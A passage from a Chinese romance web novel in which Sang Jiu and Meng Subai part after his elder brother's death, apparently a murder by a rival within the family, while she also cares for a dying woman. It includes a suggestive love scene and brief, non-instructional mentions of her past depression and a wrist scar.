如同每一对热恋中的情侣,他们记录下这一刻的甜蜜。 甚至拍完,桑酒还觉得意犹未尽。 “我想画你。” 至于画什么,她早已垂涎许久,眼底闪闪发光的狡黠,让人直觉不是什么正经要求。 敞开的黑色衬衫、黑色西裤,高挺鼻梁上的金丝眼镜,刚沐浴过后略微凌乱的头发,冷白的胸肌、腹肌…… 孟苏白半靠在窗前,后背垫了一个软萌公仔,是两人前几日逛街买的,自从桑酒来的次数多了之后,家里渐渐添了不少可爱的物件,譬如一些鲜花、窗台上的风铃、床上沙发上的抱枕……她一点一点融入他的生活,总算让这个清冷的房间,多了一丝家的温馨气息。 在桑大画家的要求下,孟苏白支起一条腿,手腕轻轻搭在膝上,露出腕间珠串,手臂青筋凸起;另一只手,长指不急不躁敲着笔记本键盘,应该是在回复什么邮件,一封一封看着,偶尔回头看她一眼,目光慵懒宠溺。 “你画别人,也是这样要求?” 桑酒从他那大片漂亮性感的胸腹肌收回视线,低头描了几笔大概,咽了咽口水:“你是我第一个真人模特。” 读书时也画过一些帅哥美女,但也就是一些纸片人描摹,挑战难度没这么大,她是真没想过真人模特对画师的诱惑力这么大,常常看着看着就出神了,根本没法定下心来,全心全意画完。 眼前的孟苏白,和那日在会所抽烟勾引她一样魅惑。 孟苏白怎么会不知道她的心不在焉,轻笑一声,问:“画到哪儿了?” “你别乱动,轮廓还没打好呢。”桑酒有些心虚,看一眼手腕的表。 时间已经过去大半个小时了。 “可是怎么办,桑老师,我有点口渴了。” 她请的模特也不怎么专业,声音也魅惑勾人。 桑酒没辙,只能起身去端了水杯走过去,递给他。 “手麻了,需要桑老师喂。”孟苏白仰头,胸前冷白春光更甚。 桑酒看呆了两秒,才反应过来什么,将水杯喂到他唇边,但因为没控制好角度,水直接从他嘴角溢出,沿着锋利的下颚线、深陷的锁骨和纹路分明的肌理蔓延,将黑色衬衫也一并打湿了。 “抱……抱歉……” 桑酒回过神来时,想转身去抽纸给他擦擦,却被孟苏白一把握住手腕,直接大力将她搂入怀,坐在身上。 她的掌心,就那样猝不及防撑在那片胸肌上,温热的水渍,打湿了两人。 “桑老师不太认真,是想要我这样躺一天一夜么?”男人碰了碰她的唇。 心猿意马了那么久,桑酒干脆扔了手里的炭笔,掌心一拢,抓了抓那紧绷又有弹性的一块:“坐那儿太远我看不清,还是先实地探查一下孟先生这里的地形,才能画得更真实。” 孟苏白笑:“桑老师想怎么探查?” “当然是,一比一探查……”桑酒直接撑在他上方,指尖点移,“就这样,孟先生,我喜欢你全身紧绷,肌肉爆发的感觉。” 孟苏白掌心覆在她后脑,将人压了下来。 “桑老师试试这样,会绷得更紧。” 黑色衬衫被抽出,流淌出的清水最终都被她的唇舌卷去…… 这幅画,直到日落西山也未完成。 桑酒浑身已然没了力气,别说直着身子坐好了,就连握炭笔的手都不稳了,无奈只能放弃。 “明天再画!” “那桑老师记得,画画之前,先把自己喂饱。” 孟苏白的黑色衬衫被剥落,身上斑驳点点,混着粉红色的唇形,仿佛一幅打翻了的画作。 也不知道喂饱的是谁! 桑酒哼了一声,抿着唇开始收拾画架。 美好的心情在关键时刻被手机铃声打断,她收拾完画架,便看到孟苏白接起电话,原本以为只是寻常工作电话,但一瞬间,男人面上凝重的神色,是桑酒从未见过的慌乱。 挂断电话,孟苏白还在怔愣中。 “怎么了?”桑酒走过去拉他,感觉到他的手在颤抖,甚至是全身。 “孟苏白?” 孟苏白猛然回过神来,控制不住发抖的手抚在她脸上。 “泱泱,我要立刻飞纽约一趟,这几天恐怕没法陪你了,你今晚要是一个人在这儿睡不惯,我让人接小月过来陪你。”—— 作者有话说:咳咳,那啥可能要开虐了,人生总要有些转折点的,但最后都会是美好的,相信我[害羞][害羞] 第66章 “桑桑, 你不是说有事要跟我说,说吧……” 桑酒反应过来的时候,李佑泽脑袋砰的一声, 直接砸向桌面, 整个人都醉过去了。 不光是他, 在座的所有男人都被灌趴下了, 包括那位座上嘉宾——某建筑工地包工头。 李佑泽为了给废钢回收厂拉生意, 最近一直在巴结这个包工头,好不容易请来自己生日宴当菩萨供着,终于签下合同, 才松了口气倒下。 桑酒看着他为了工作这样拼命的样子, 也有片刻触动。 她看过那份合同,如果长期合作下来, 确实能赚钱, 当然,前提是要验资工地是否合法合规。 “桑桑,你今天怎么不喝呀?你要是上场,早就把他们灌醉了, 我们还至于熬这么久?” 俞三禾跟桑月喝得少, 但也有点醉意微醺了,她拍着闺蜜的肩膀问。 桑酒说:“都喝醉了谁来收拾残局啊?” 总得保持一个清醒吧? “可你今天一整天都心不在焉的,怎么?你的国王先生两天不在, 你就失魂落魄成这样了?” 桑酒一边打电话给酒店前台过来帮忙, 一边扶着两个小姐妹回房睡觉。 但心事被戳破, 她也有些沮丧。 孟苏白去纽约这两天,只昨天落地时给她打了一个电话,声音听起来很疲惫, 桑酒问他发生了什么事,他没有说,只说这段时间会很忙,要她好好照顾自己,不用担心他。 然后,就没了然后…… 桑酒不是那种分开后黏黏糊糊的女生,她也想发消息跟他聊聊,又担心他有正事在忙会打扰到,只是撑到今天这一夜快结束,心里还是有些失落的。 今天是李佑泽的生日,她跟孟苏白保证过,今天就摊牌分手的。 但孟苏白好像忘了。 思及此,桑酒又打开手机,犹豫着要不要给孟苏白发条信息,这个点,纽约应该是早上九、十点,应该不会打扰他休息。 刚输入一行字,还未来得及发送,桌子上李佑泽的手机响了。 桑酒低头看去,是他妈妈的电话,估计是打电话祝他生日快乐的,她按了接听。 “阿姨,佑子跟客户谈生意酒喝多了,醉了。” “桑桑啊……”对面传来李佑泽父亲苍老的声音,泫然欲泣。 桑酒眉心一跳:“叔叔,怎么了?” 半小时后,车子仓促上了高速。 酒还没完全醒过来的俞三禾,一脸痛苦躺在后座,胃部翻来覆去。 “桑桑——我要吐了!” 桑酒给她扔了一个垃圾袋:“吐吧。” 俞三禾一个没忍住,还真吐了。 吐完后整个人总算好受了些,问桑酒:“你这火急火燎赶回去,到底发生啥事了啊?不是说明天下午再回吗?而且,你不带上佑子带上我干啥?” “佑子妈生病了,现在在县人民医院。” 桑酒也没有办法,要她一个人大半夜开车几百公里,还是高速公路上,她感觉自己会被吓死,但李佑泽醉成死猪样根本提不动,而且他明天酒醒估计还要去忙工厂后续事情,不一定有时间回去。 “什么病?佑子知道吗?”俞三禾顿时也惊得整个人都清醒了。 “不知道,他爸没说。” 但听那语气,直觉并不怎么乐观。 桑酒一颗心也沉得呼吸艰难。 本来心里就惦记着孟苏白,现在更是头脑有些混乱,眼皮直跳,像是有什么不好的事情发生。 凌晨四点,两人抵达遂溪人民医院。 病房浓烈的消毒水味,更加令人昏头涨脑。 桑酒开了足足五个小时的车,眼皮都快睁不开了,可她此刻丝毫感觉不到疲惫,只觉得人麻木得没了思想,坐在床边,看着病床上老泪纵横的女人。 也就一段时间没见,李佑泽母亲比之前看着更加枯槁如骨,全身上下几乎没有什么气色。 “阿姨,”桑酒声音柔和,“您好好养病,一定没事的。” 李母混沌泪光中扯了一抹苦笑:“桑桑,没用了,怎么治都没用了,医生说了,胰腺癌这个病治不好,顶多也就这两个月了。” “不会的。”桑酒轻声安慰,“这里是小医院,他们肯定这样说,我明天带你去海城,那里有全国最好的医院,肯定有办法的……” 可说着说着,她自己也控制不住落下泪来,她连自欺欺人都做不到,又怎么去骗别人。 “傻孩子,我知道你的孝心,阿姨现在很好,都怪他爸,没事打什么电话给你们,害你们大半夜地开车过来……” 李母看着桑酒长大,早就把她当作儿媳甚至女儿对待,她用皮包骨的手去帮桑酒抹眼泪:“但其实,阿姨很开心你今天能赶来,我知道你是个好姑娘,佑子如果没有你,还不知道是个什么德行,他那么不务正业,我跟他爸都管不住,只有你……只有桑桑你在,我才放心,我死了没关系,这个病治不好又费钱。” 桑酒握住她的手:“钱的事情,我跟佑子会想办法。” 李母闭了闭眼,似乎连说话的力气都没有,哪怕另一只骨瘦如柴的手背上,正一滴一滴输着止痛药,似乎也没什么效果。 “如果是其他什么病能治好的,哪怕活个三五年,我也想治的,但这个病,没用的……医生也说了,只是人财两空,阿姨到了这个年纪,已经不怕死了,心里唯一的遗憾,就是还没看到他成家立业……” 桑酒红着眼说:“佑子他现在很好了,不赌也不乱花钱了,今年还在我这里存了五万,最近跟别人合开的废钢厂也开业了,昨天生日还拿下第一笔大订单,所以您不用担心钱的事情。” 李母听了很开心,眼泪却流得也更多:“这都是你的功劳,桑桑,你是我们老李家的大恩人,是我不中用,没办法看到你们结婚,等你们生儿育女时,他爸年纪又大,我死了,也没有谁给你们搭把手帮忙照顾小孩……” 桑酒摇头,忽然觉得自己罪孽深重。 如果不是她……不是她提出什么假情侣,也许李佑泽会安心去找一个女朋友,此时他妈妈就不会有什么遗憾。 李母语无伦次地说:“佑子他是没什么出息,爱赌爱玩不懂事,但他本性不坏的,他从小就最听你的话了,桑桑,阿姨要拜托你,以后阿姨不在了,替我好好管教管教他好吗?不求他大富大贵,只要别让他走歪路,你们一辈子都好好的,我就死也瞑目了……” 桑酒红着眼,轻拍她手背安抚:“您放心,我不会不管他的……不会不管的……”- 胰腺癌晚期,医生的意见是回家吃止痛药,该吃吃该喝喝,没有治疗的必要了。 桑酒听李佑泽父亲说,那些止疼药对李母已经完全没有效果了,便想着让她舒服一些,硬是让多住了三天院。 知道儿子在忙着工作,李母说什么也不肯让桑酒告诉李佑泽,甚至有一些偏执的淡然。 “等待往往是最煎熬的,眼睁睁看着最亲的人死亡也一样难熬,他知道了又有什么用,无非是瞎操心罢了,还不如等我死了再说,我死了,他再难过也会过去会淡忘的,当妈的,总希望孩子能少伤心一天是一天,桑桑,他好不容易有了个正当的事业,你就让他安心去做吧,我没事的,能拖一天我会拖一天,等真拖不了了,你再告诉他,回来看我一眼就好……” 桑酒虽然心里难过至极,也不再坚持,让俞三禾送李佑泽父亲先回家,自己在医院陪了三天。 她第一次陪床,生怕自己做得不够好,事事亲力亲为,又担心李母想太多心情不好,便买了各种零食水果,坐在床头,两人边吃边聊,聊起李佑泽的生意,聊她酒馆的趣事,聊村里长短,就像当年她生病时,李母也这样陪着她。 也不知道是不是错觉,一夜过后,桑酒竟感觉她脸上开始有了些油光,笑容也多了些。 也许是因为在人生最后阶段,有个贴心的人陪伴,胜过一切良药。 同病房的人都以为桑酒是她的女儿,纷纷投来羡慕的眼神:“大姐,你女儿这么漂亮,又这么孝顺,好福气啊。” 李母一双病眼中露出欣慰:“这是我未来儿媳,比女儿还会疼人呢。” 面对更多的夸赞,桑酒的笑容浅淡,心却沉了又沉。 许多话,好像要烂在肚子里,无法说出口。 出院的那日中午,桑酒收拾着东西,病房的电视机被隔壁病床的患者男家属打开,调到了央视新闻频道。 女主播正字正腔圆播报一条重要新闻。 “据港媒报道,孟氏集团总裁孟彦廷,九月十六日凌晨在纽约街头发生严重车祸,经抢救无效昨日身亡,年仅四十岁,今日,遗体被其家属运回港城,据悉……” 桑酒手一顿,回头看向那破旧的电视,画面里,拥挤的人群里一闪而过男人瞩目的身影,黑色西装,戴着黑色口罩,身形消瘦落寞,扶着身旁同样憔悴的女人,两人被媒体闪光灯照得更加苍白。 几乎是一刹那,脑袋就一片空白。 桑酒身体剧烈颤抖着,看不见也听不见,甚至连呼吸都忘了。 换完衣服的李母缓缓走出来,看她僵硬的神情,眼角滑过的泪,一脸急切关怀:“桑桑,怎么了?” 桑酒没有反应,直到李母拍她肩膀,才猛然回过神。 再看向电视机,新闻已经被切换另一条中东战乱消息。 刚才的一切,仿佛是幻听,是梦魇。 可眼角的泪水,无法掩藏,心中的恐惧,更是逐渐膨胀。 “桑桑?” “我没事……”桑酒声音颤抖着回答,用瘪足“眼睛里进沙子了。” 直到上了车,她还恍如梦中,握紧手里的手机,却不敢去看。 只要她去网上看一眼,便知真假。 可她害怕。 害怕…… 俞三禾启动车子后,跟她说了什么,她也没听见,就这样静静看着手机发呆,心跳快得几乎要当场死过去。 送李母回到家后,两人原本是要返回遂溪的,桑酒却在半路让俞三禾调转了方向,声音隐忍。 “三禾,去机场。” 后来,什么时候到的江州机场,怎么跟俞三禾道别,又是怎么在机场等了两个小时上的飞机,桑酒全无印象。 她在那日终于体会到李母说的,等待是最煎熬的,那种煎熬比当年从港城逃离还要痛- 桑酒从未想过,每次去港城,都是这样的刻骨铭心。 她此刻只想见到孟苏白,想听他亲口说,那条新闻不是真的。 然而下了飞机,恍惚坐在的士里,车内电台正播送着她最不想听到的内容,一连串女声播报犀利而刻薄。 “……孟家继承人离世,孟梁两家姻亲关系将如何延续?据闻梁家不愿女儿年纪轻轻守活寡,梁婉盈如果改嫁,孟氏集团董事局也将发生天翻地覆的变化,而对孟氏集团虎视眈眈的李家以及瘫痪在床的孟宗铭,又将会有什么行动呢……” 桑酒前段时间跟孟苏白在一起,的确学了一些粤语,加之从前也会,所以轻而易举就听懂了大概,当即隐忍了许久的情绪爆发,在车后座哭了起来。 她终于控制不住给孟苏白打电话,却久久没有人接听。 她一次又一次拨打着。 孟苏白…… 司机看她哭得伤心,关了电台,小声询问她需不需要帮助。 桑酒摇头,只让他继续往前开。 也不知道为何,通往深水湾的道路特别拥挤,她只好给孟苏白发消息:「我在时光酒窖等你。」 冯生不在,收银台小姑娘也不认识她。 桑酒就一直在那儿等着,只觉世事难料。 她怎么也没想到,半个月前,第一次见孟彦廷,却也是最后一次见。 明明那个时候他还好好的,还相约要去她的酒馆喝酒,送她贵重的见面礼认可她,打心底祝福她跟孟苏白,那样温和的大哥,怎么突然就…… 桑酒不敢想象孟苏白此时此刻会有多难过。 他说过,在那冷血无情的豪门家族里,父子都会反目成仇,只有兄长与他亲密无间,他也说过,兄长是他母亲留给最后的依靠,会答应老爷子留下来暂代打理公司,一方面也是为了给孟彦廷减轻负担。 两个小时后,一个身穿黑色风衣,戴着墨镜和黑色口罩的女人推开酒馆的红木门。 女人胸前别着一朵小白花,与那张精致苍白的脸庞一样凄凉。 “桑小姐。” 梁婉盈径直朝桑酒走去,摘了墨镜和口罩,声音嘶哑却不失稳重:“我是梁婉盈,Kings的大嫂。” 桑酒怔愣抬头,看着眼前的女人,仅凭身形一眼就认出了她。 新闻上,站在孟苏白身边的女人,原来是他大嫂。 也就是……孟彦廷的妻子。 桑酒怔然起身,神情同样难过。 “……梁小姐。” 梁婉盈点头,示意她也坐下,然后直明来意。 “我是替老爷子走一趟的。” “抱歉,我是不是打扰到他了?我知道他会很忙……我只是想过来陪陪他……” 桑酒也不知为何,突然会有些局促起来,他们之间的关系并未公开,所以她其实没有任何立场出现在他身边的,可她就是忍不住想看他一眼,哪怕远远看一眼也好。 梁婉盈说:“他被老爷子关禁闭了,已经在宗祠跪了六个小时。” 桑酒有些恍惚:“……为什么?” “为什么?”女人唇角微微勾起一抹苦笑,目光平静打量着她,“我也想知道为什么,四年前,就一直想知道,究竟是什么样的女人,轻而易举就改变了他。”—— 作者有话说:[爆哭][爆哭] 第67章 再次深夜离港。 依旧是四年前那趟航班。 巧合的是, 座位也还是四年前那个座位。 只是相比四年前,桑酒更加身心疲惫,浑浑噩噩的。 她奔波了一天, 也强撑了一天, 此刻才得以闭上眼休寐, 虽心如死灰, 但梁婉盈干脆利落的话, 像烙印一样一字一句刻在她脑海,不断回放闪现。 “桑小姐应该不太了解孟家吧?孟氏家族在港城已经有三代的百年积累了,横跨了港城政治、法律、教育和经济多个领域, 出了七个太平绅士、六个行政会议员、四个立法会议员、一位港中文大学校长, 一位教授,还有获得大紫荆勋章、金紫荆勋章数十人, 唯独到了Kings父亲孟宗铭这一代, 彻底没落,但即便再没落,有老爷子撑场,孟家也足以睥睨港城每一个豪门, 只是桑小姐知道, 老爷子为什么没有一开始就拆散你和Kings吗?” 桑酒那时才知,原来孟家所有人都知道她的存在,也许那日贺家大小姐婚礼上, 老爷子就已经审视过她了。 她无法回答这个问题, 梁婉盈直接给了她答案。 “因为老爷子也是个情种, 年轻时不为家族屈服,拒绝联姻,娶了自己心爱的女人——一个出身中产, 没有深厚家底相助又天生体弱的女人,他们一生只有一儿三女,老夫人更是在生下儿子后没多久就过世了,桑小姐应该知道,对于孟家这样的豪门,多子多孙才能家族兴旺,但老爷子年轻时忙于工作,也无心另娶,将儿子送到国外读书,但这个儿子与他也并不亲厚,后来更是成了港媒中典型的纨绔子弟,玩赛马、追女星、在澳城一夜输掉两千万……或许他这一生中唯一的贡献,就是给孟家生了两个优秀的继承人。” 梁婉盈的声音很冷淡,哪怕她刚失去丈夫,也平静得有些可怕。 “ Neel虽然遗传了他母亲的血友病,但他天资聪慧,为人宽厚温润;Kings无心权政,但他最像老爷子,运筹帷幄,是天生的掌权者,四年前,孟梁两家联姻的本是我和Kings。” “桑小姐相信,豪门有爱情吗?”梁婉盈又问她。 桑酒没有说话。 “怎么会没有?”梁婉盈笑了一声:“我从前就很爱Kings,从小到大,我都追随在他身边,他去德国求学,我也费尽心思跟了过去,他所有的一切我都看在眼里,他喜欢帆船,喜欢户外探险,喜欢冒着生命危险去做想做的事情,因为他的人生并不开心,但他也喜欢哲学,喜欢黑格尔和康德,唯独不喜欢我……不喜欢我们这个虚伪又冷漠的上流社会…… 因为无法摆脱,他便抗拒融入,就像抗拒和我结婚一样,所以,他会喜欢你,会为了你甘愿回来接管管理家族生意这件事,其实一直都让我耿耿于怀的。” 桑酒始终沉默听着,只握着酒杯的指尖,微微收紧。 “当然,你也不必介怀,”梁婉盈摸着胸前的小白花,声音终于有一丝波动,“我现在,只爱我的丈夫。” 虽然他们的婚姻不过是各取所需,梁家得到了一个强大的合作者,孟家得到了继承人的香火延续。 虽然这份爱来得太迟,迟到他们刚有自己的孩子,他就离开了这个世界。 “Kings确实很爱你,”梁婉盈抬头看着眼前的女子,她的确漂亮,但吸引孟苏白的,绝不是那光鲜亮丽的外表,他应该更爱她眼底的倔强和干净,像荆棘里盛放的玫瑰,那是他们周边人都没有的气质,“老爷子也想过放他自由,成全你们,因为他这一生太苦了,好不容易有个喜欢的姑娘,我们所有人都祝福他,只是……” 梁婉盈抚着腹部,强忍了许久的泪水,从眼角泛出,心口疼得她几乎说不出话来,可她不能让自己情绪激动,她要保护好肚子里的孩子。 “只是现在,Neel不在了,他们同父异母的弟弟,母亲家族雄厚,正对孟家虎视眈眈,势在必得,Kings是如今唯一继承人,可他想娶你,桑小姐可知,他本就没有母亲家族相助,又娶一位毫无帮助的妻子,你觉得,他要拿什么去打赢这场仗?他甚至可能……” 梁婉盈哽咽了一下:“可能落得……和Neel一样的下场。” 豪门恩怨,风谲云诡,稍不留意,就会丧命。 桑酒终于开口,声音干涩:“我明白。” 即便没有孟彦廷的突发变故,她从始至终都明白,和孟苏白这条路会走得很艰难。 她知道他是家族的脊梁,就如同她一样,他们都背负着家庭责任,根本没法不顾一切放下。 “你不明白,桑小姐,”梁婉盈说得直白而残酷,“老爷子如今年事已高,唯一遗憾就是家族百年基业将毁于一旦,Kings虽然不是长子,却一直都是他最看重的继承人,也是唯一能拯救家族百年传承的人,我们生于这个阶级,从来就不能只为自己,即便厌恶、憎恨,也要维持外表的繁荣永不倾倒,这是使命,亦是枷锁。” “我知道,在你和前程之间,Kings会毫不犹豫选择你,但这不是他一个人的前程,而是整个家族的。” “所以,我代表老爷子,恳请桑小姐,高抬贵手。” 桑酒再次沉默。 这本就是一场必输的谈判,她没得选,也早已预料过。 只是没想到会输得这样狼狈,轻而易举,连反击的借口都没有。 她起身打算离去。 毅然决然如四年前。 权当这段时间的甜蜜,是弥补当年的遗憾。 梁婉盈却递过来一个信封。 “这是老爷子的一份心意,支票金额桑小姐可以自己填,另外还有海城市中心和江市别墅各一套。” 桑酒缓缓抬眸去看她,眼里的悲凉渐渐被冰冷替代。 然而还未等她开口,梁婉盈截断她的话:“我知道,你可能会觉得,这是在侮辱你,但我们只想Kings往后,心里不再有别的牵挂。” “明白。”桑酒接过信封,捏在手里,语气清醒冷静。 无非就是需要一个人做恶人。 “桑小姐……” 桑酒笑了一下,抬头看向她,目光不再充满冷意:“算不上什么侮辱,就当是……各取所需吧,也谢谢你们,大……孟先生的事情,请节哀。” 她很敬重孟彦廷,如今却没有任何身份立场去吊唁。 只能心中默念悲痛- 桑酒的飞机刚离开港岛,梁婉盈也驱车回到深水湾。 深水湾的海风敛了往日的咸腥,裹着深夜的冷意,漫过偌大的海岛庄园,吹起素白的绸带,掀动黑色纱帘的边角,露出主厅室内影影绰绰的黑色身影,和摆放在正厅的黑檀木灵柩,灵柩前的白烛燃得很安静,烛火在微凉的穿堂风里轻轻摇曳,将墙上挂着的黑白遗照衬得清俊温雅。 梁婉盈在丈夫遗像面前低下头,默哀了几秒,像是在与丈夫忏悔。 她不应该跟他吵架跑去纽约散心,更不应该深夜离家出走,如果不是为了救她,他不会出事。 “原谅我,Neel,为了我们的孩子,我必须留下他。” 一旁的孟翎溦哭得双眼红肿,泣不成声喊了声大嫂。 倒是孟彦廷的亲妹妹孟嘉欣,只沉着悲痛的气,抬头看向梁婉盈。 “大嫂,你要注意身子。” 梁婉盈点头,问:“老爷子呢?” “甄叔刚送他回房休息了,Kings他,还在宗祠……” “我去找他,辛苦你们守夜了。” 推开宗祠厚重的大门,梁婉盈盯着跪在蒲团上的男人背影,黑色的西装衬得他背脊愈发挺直,却掩不住那股绷到极致的疲惫和悲痛,闻声缓缓回过头。 高台上,长明灯燃得很安静,火苗映在他垂落的眼睫上,投下浅浅的阴影,衬得他脸色更加苍白。 “大嫂。” “Kings,你跪得太久,该出来主持大局了。” “抱歉……” 孟苏白垂首,声音也轻微得如同那摇曳的火苗。 “纽约FBI那边传来最新消息,你要不要先听听?”梁婉盈走到他身前,目光也盯着那脆弱又刺眼的火苗,自持冷静说道。 孟苏白这才缓缓抬头,朝她看去:“怎么说?” “通过DNA对比,撞击我们的人,是一名退役F1赛车手,曾是孟栢豪的教练,半年前,他在拉斯维加斯欠下巨额赌债,一家人被追债四处逃亡,半个月前那些追债的人突然消失,我落地纽约那日,他忽然就出现在纽约的,几乎以毁灭式的速度撞上Neel,虽然现在查不出他跟孟栢豪近期来往,但你觉得,这一切会是巧合吗?” “孟栢彦……”孟苏白握紧拳头,隽逸的眉眼间透出一股狠戾。 孟栢彦,孟宗铭那个被扶正的私生子! 当年,就是因为这个私生子,母亲才产后抑郁的。 “而且,FBI分析了行车记录仪……他要撞的根本不是Neel,是冲着我来的……不,是冲我肚子里的孩子!”梁婉盈绷了一天的情绪,第一次有了裂痕,“孟宗铭病情恶化,孟栢豪和他妈都是疯子!” 所以,不是意外! 是蓄意谋杀! “我会给大哥一个交代。” 过了许久,宗祠内依旧寂静,风呼啸而来,白烛火苗也动荡不安起来,将肃穆的室内照得更加窒息起来,孟苏白的声音却平静得可怕,几乎听不出什么情绪。 在这种压抑窒息的氛围下,梁婉盈依旧保持着清醒的头脑,她恳求:“我可以留下Neel的孩子,哪怕是孤儿寡母,终身不改嫁,永远留在孟家,我也只有一个请求,请你保护好我们母子,这是给我家族的保证,也是给老爷子的定心丸,他年纪大了,已经到了灯尽油枯的年纪,Neel的离去,给他的打击,比我们任何人都要残忍。” 孟苏白沉默了几秒:“家族之事,我不会置之不理。” “Kings,你又何必再自欺欺人,其实你心中早已有了抉择,只是不愿意面对现实,可是生在这样的大家族里,我们又能如何选择呢?当你发觉,所有人的生命都与你息息相关时,你就永远无法自由。” “那又怎样?”孟苏白的目光盯着那抹火烛。 微弱灯火下,他的神情无比坚定。 他答应过她未来,无论如何,都不能食言。 “所以呢?”梁婉盈问他,“所以,你不要家族,也不要她的安危了吗?” 孟苏白瞳孔一震,心脏骤然失停了一拍,像是被人扎进一把利刃。 他无法呼吸,也无法回答。 “你要把她也拉进这地狱吗?”梁婉盈见缝插针,“Kings,你要知道,即便是在大陆,你也没有办法,时刻保护你心爱的人。”- 孟苏白的电话打进来时,桑酒已回到家,她躺在床上,浑浑噩噩。 凌晨一点。 看着屏幕上的来电提示,心不受控漏了几拍。 她期盼听到他的声音,又害怕自己不知该如何面对他。 铃声响了好一会儿,桑酒骤然接起。 寂静的黑夜里,孟苏白低沉暗哑的声音落入她耳,像起死回生的解药。 “泱泱。” “我在。” 仅是他一声轻唤,桑酒便红了眼眶,泪扑簌簌落下。 他的声音听着很空荡,飘忽,像是系在悬崖边一根细绳上,还有沉重回音,听着似乎下一秒就会断裂,掉入万丈深渊。 桑酒忽然不知该如何去做那个恶人,可即便要做恶人,也不是现在,在他最难过的时候。 她做不到。 可她又想了一路,要如何说服孟苏白,如何一击即中。 “孟苏白,”桑酒闭上眼,不让眼泪泛滥,声音开始颤抖,“我给你打了很多电话,发了很多信息……” “嗯,我知道。” 其实手机在被罚跪祠堂前,就被没收了,他也是刚看到信息。 “我很难过,不敢相信是真的,就像做梦一样……孟苏白,你一定很难过对不对?我想去陪你,可是……” 桑酒哭得很伤心,心痛孟彦廷,心疼孟苏白。 “泱泱,别哭,”即便是在这种悲伤时刻,孟苏白的声音也很温柔,仿佛瞬间安抚了她那颗慌乱的心,“我确实很难过,只有听到你的声音,才感觉自己又活过来了。” “可是怎么办,”桑酒仰头,指腹撇开眼泪,“听到你的声音,我会更加难过。” “泱泱……” “孟苏白,还记得我跟你说过的吗,我们不要想未来,就珍惜好现在,珍惜我们相爱的每一刻,我原本以为,未来还很遥远……但好像,要在这一刻停止了。” “不会停止,泱泱,”孟苏白声音自始至终沉而缓,他第一次这样偏执地想要留下她,“给我时间好不好?” “多久?”桑酒此刻却平静下来了,她用指尖掐着手腕的疤痕,让自己保持理智,反问他,“一年,两年,还是十年?甚至……” 她第一次逼迫他,并不是想要一个确切的答案,只是想让他看清楚,他们真的没有未来。 孟苏白沉默,他跪在祠堂前,跪在列祖列宗前,闭目,沉思。 “很快,泱泱,相信我。” “可是我不想等了,”桑酒近乎破涕为笑,“孟苏白,我害怕了。” “害怕我会为你而死。” 桑酒一句话,直接让孟苏白沉默了,他想起了梁婉盈的话,那根刺,依旧扎在他心上,每跳动一下,就要疼一次。 “你是不是觉得,这四年我过得很好?其实一点都不好,你不知道为了忘记你,我是如何折磨自己的,明明你只是出现在我生命里几天的男人,我却因为你茶不思饭不想,断情绝爱,把自己关在一个小世界里,自己出不去,别人也进不来,这种感觉,真的很绝望,跟当年抑郁症发作时一样绝望,但庆幸的是,我们相处时间够短,四年时间虽然不足够我忘了你,但足够让我决定跟前男友复合了,哪怕我心里还惦记着你。” “我不会再离开你。” “那你现在可以娶我吗?孟苏白,你可以光明正大昭告天下,你会娶我吗?无论你未来是不是孟家继承人,你的妻子都会是我吗?哪怕我是一个出身如此卑微,人生如此平凡,能力如此普通的女人,你也会永远对我始终如一吗?” “我可以。”孟苏白声音依旧平静,对于她的所有请求,他都承诺。 “可我要的是现在,不是承诺的未来。” 孟苏白骤然沉默,那句“给我时间”如鲠在喉,再也说不出来。 “孟苏白,非常抱歉,是我高估了自己的承受能力,以为与你在一起,圆了四年前的遗憾就行,是我贪图一时欢愉,以为什么时候分手都可以,一年、两年,我想过的,想过等着你,但不是等你娶我回家,而是等你告诉我,你要结婚了,我们该结束了,就像三禾跟宋祁那样,我一直都知道,我们的结局,也是如此,我就是这样清醒沉沦着,放纵着自己,享受你的爱。” “可直到今日,直到你哥哥的离去,我才突然警醒,原来,要离开你真的很难,四年前,我脱了一层皮忘得都不够彻底,这一次也许我会丢了半条命,但如果现在不终止,未来……未来我会死掉的。 孟苏白,我真的会死掉的。” “泱泱……”孟苏白也倏然红了眼,内心战栗。 “你知道吗,我一直以为,手腕的伤痕,看不见就代表消失了,可今天,它好像又流血了,又开始疼了起来。” “泱泱!”孟苏白冷不丁一阵惊慌后怕,他咬着牙恳请她,“不要做傻事,你答应过我,无论何时,都要好好爱自己的。” “所以啊,我现在就在爱自己,”桑酒很遗憾,隔着千山万水,他看不见她脸上淡然的笑容,“孟苏白,我们就到此为止好不好?这条路就走到了这里,不断的患失患得会让我厌恶自己摧毁自己,现在也许是痛苦的,但多年以后,我们都会感谢今日选择浅尝辄止,及时止损。” 浅尝辄止。 及时止损。 孟苏白顿时犹豫了,对自己的坚定执着开始怀疑。 梁婉盈说得没有错,从前有大哥在前面顶着,他可以做那个自由自在的孟三少,毫无顾忌去追寻她去爱她,可如今呢? 他眼前的路尚且一片荆棘充满不确定因素,确定要让她无止境等着自己吗? 如果…… 万一…… 孟苏白想起今日的梁婉盈,想起她眼里哀莫大于心死的平静,如果不是肚子里有着大哥的孩子,她大概真的会疯。 等待,往往是最磨人的。 他不应该将这种痛苦加诸在她身上,让她在无望和痛苦中跋涉。 “好。” 一阵难以遏制的锥心之痛,像电流击穿耳膜,击穿心脏。 “那就不要再等了,泱泱。” 对面手机里,桑酒早已泣不成声。 她无法欺骗他不爱他,只是想告诉他,她不能再爱他了。 一定是上帝编造的一场恶作剧,才会让他们在这个时间点重逢,就像早已设定好的庸俗桥段,不早不晚,偏偏在他们冲破所有枷锁,毫无顾忌去相爱的时刻,给予重拳一击,直接打碎所有幻想。 失而复得是世间最美好的瞬间,得而复失却是人一辈子毁灭性的惩罚,如果一开始就没有遇见,或者重逢再晚一点,甚至不再见面,这些痛苦都是可以忍受的。可偏偏,天不遂人愿,他们永远都无法抹平这伤痛。 孟苏白低头垂着身子,一只手撑在桌台上,任凭她哭得酣畅淋漓,最后才一如既往温柔出声:“答应我,这是最后一次哭,好不好。” 他恨不能现在就在她身边,将她拥入怀,替她擦干眼泪。 “好,”桑酒哭痛快了,反而没那么难过了,泪水浸湿了枕头,她蜷着身子在床上,“哭过这一次,我以后都不会再哭了。” “算了,”半晌,孟苏白又于心不忍,他说,“想哭就哭吧,找人陪着,不要一个人就好。” 哭出来发泄出来,总比憋在心里好受。 他今日也是第一次在嘴角尝到自己泪水的味道,苦而涩。 从前母亲过世的时候,他还带着少年的倔强,不肯落一滴泪,再痛苦再难过,也只是划着皮筏艇,去母亲离去的那块沼泽里,一坐就是大半天,也不知道在想些什么。 